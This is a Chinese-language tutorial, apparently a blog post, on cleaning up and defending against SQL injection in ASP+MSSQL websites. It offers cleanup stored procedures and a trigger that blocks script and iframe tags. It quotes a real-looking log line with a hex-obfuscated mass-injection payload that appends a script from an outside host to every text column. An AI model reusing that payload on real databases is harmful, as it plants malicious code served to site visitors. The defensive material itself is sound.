MSSql注入的清理及防范

asp+mssql开发的网站如果对get/post参数处理不好，很容易被注入，在数据库中插入类似<script src=....></script>和<iframe src=... width=0 height=0></iframe>的病毒或木马代码，使得访问该站点的访问者访问时运行该代码。

查看被注入的web日志可以发现形如下面的日志信息
news_id=674;dEcLaRe%20@S%20VaRcHaR(4000)%20SeT%20@s=cAsT(0x4445434C415245204054205641524348415228323535292C404320564152434841522832353529204445434C415245205461626C655F437572736F7220435552534F5220464F522053454C45435420612E6E616D652C622E6E616D652046524F4D207379736F626A6563747320612C737973636F6C756D6E73206220574845524520612E69643D622E696420414E4420612E78747970653D27752720414E442028622E78747970653D3939204F5220622E78747970653D3335204F5220622E78747970653D323331204F5220622E78747970653D31363729204F50454E205461626C655F437572736F72204645544348204E4558542046524F4D205461626C655F437572736F7220494E544F2040542C4043205748494C4528404046455443485F5354415455533D302920424547494E20455845432827555044415445205B272B40542B275D20534554205B272B40432B275D3D525452494D28434F4E5645525428564152434841522834303030292C5B272B40432B275D29292B27273C736372697074207372633D687474703A2F2F636E2E6A786D6D74762E636F6D2F636E2E6A733E3C2F7363726970743E27272729204645544348204E4558542046524F4D205461626C655F437572736F7220494E544F2040542C404320454E4420434C4F5345205461626C655F437572736F72204445414C4C4F43415445205461626C655F437572736F72%20aS%20VaRcHaR(4000));eXeC(@s);--

使用如下sql存储过程清理被注入的木马等恶意程序代码:

SET QUOTED_IDENTIFIER OFF GO SET ANSI_NULLS OFF GO Create proc [dbo].[ReplaceKeyWord] @old nvarchar(100), @new nvarchar(100) as declare @sql nvarchar(1000) set @sql=N' declare @s nvarchar(4000),@tbname sysname select @s=N'''',@tbname=N''?'' select @s=@s+N'',''+quotename(a.name)+N''=replace(''+quotename(a.name)+N'',N'''''+@old+''''',N'''''+@new+''''')'' from syscolumns a,systypes b where a.id=object_id(@tbname) and a.xusertype=b.xusertype and b.name like N''%char'' if @@rowcount>0 begin set @s=stuff(@s,1,1,N'''') exec(N''update ''+@tbname+'' set ''+@s) end ' --print @sql exec sp_msforeachtable @sql; set @sql=N' declare @s nvarchar(4000),@tbname sysname select @s=N'''',@tbname=N''?'' select @s=@s+quotename(a.name)+N'','' from syscolumns a,systypes b where a.id=object_id(@tbname) and a.xusertype=b.xusertype and b.name like N''%text'' if @@rowcount>0 begin exec UpdateTextColumn @tbname,@s,'''+@old+''','''+@new+''' end ' ; exec sp_msforeachtable @sql GO SET QUOTED_IDENTIFIER OFF GO SET ANSI_NULLS ON GO SET QUOTED_IDENTIFIER OFF GO SET ANSI_NULLS OFF GO CREATE proc [dbo].[UpdateTextColumn] @Table varchar(100), @Columns varchar(200),--eg:Column1,Column2, @old varchar(100), @new varchar(100) as set nocount on declare @sql nvarchar(2000) declare @Column varchar(50) declare @cpos int,@npos int set @cpos=1; set @npos=1; set @npos=charindex(',',@Columns,@cpos); while(@npos>0) begin set @Column = substring(@Columns,@cpos,@npos-@cpos); set @cpos = @npos+1 set @npos=charindex(',',@Columns,@cpos); set @sql = 'update '+@Table+' set '+@Column+'=replace(cast('+@Column+' as varchar(8000)),@old,@new) where Datalength('+@Column+')<=8000'; EXECUTE sp_executesql @Sql, N'@old varchar(100),@new varchar(100)', @old, @new declare @ptr binary(16) ,@offset int,@dellen int set @dellen = len(@old) set @offset = 1 while @offset>=1 begin set @offset = 0 set @sql = 'select top 1 @offset = charindex('''+@old+''' , '+@Column+'), @ptr = textptr('+@Column+') from '+@Table+' where Datalength('+@Column+')>8000 and '+@Column+' like ''%'+@old+'%'''; EXEC sp_executesql @Sql,N'@offset int OUTPUT,@ptr binary(16) OUTPUT,@old varchar(100)', @offset OUTPUT,@ptr OUTPUT,@old; if @offset > 0 begin set @offset = @offset-1 set @sql='updatetext '+@Table+'.'+@Column+' @ptr @offset @dellen @new'; EXEC sp_executesql @Sql,N'@offset int ,@ptr binary(16),@dellen int,@new varchar(100)',@offset,@ptr,@dellen,@new; end end end GO SET QUOTED_IDENTIFIER OFF GO SET ANSI_NULLS ON GO

使用方法:

exec ReplaceKeyWord '需要替换的字符','替换成的新字符'
exec ReplaceKeyWord '<iframe src=... width=0 height=0></iframe>',''

上面的语句执行后会将整个数据库中所有的表的所有字段中含有的<iframe src=... width=0 height=0></iframe>替换掉.

对程序参数进行严格的类型判断配合通用防注入程序(网上可以找到)，一般就不会出现被注入的情况了，如果仍然不可以的话，可以在MSSQL里加如触发器对插入的内容进行限制。
例如：

CREATE TRIGGER [delscript_danwei] ON [dbo].[danwei] FOR INSERT, UPDATE AS begin declare @scontent as nvarchar(4000) select @scontent=title+content from inserted if CHARINDEX('<script',lower(@scontent))>0 or CHARINDEX('<iframe',lower(@scontent))>0 begin RAISERROR ('危险脚本', 16, 1) ROLLBACK end end

上面的触发器是在danwei表上加的限制在title和content字段插入类似<script....../scrip>和<iframe....../iframe>字符的，如果插入或更新的内容含有类似字符，系统会执行回滚，信息不会被插入或更新。一般情况下很多注入都是通过程序自动完成的，所以用触发器能起到一定的防范作用。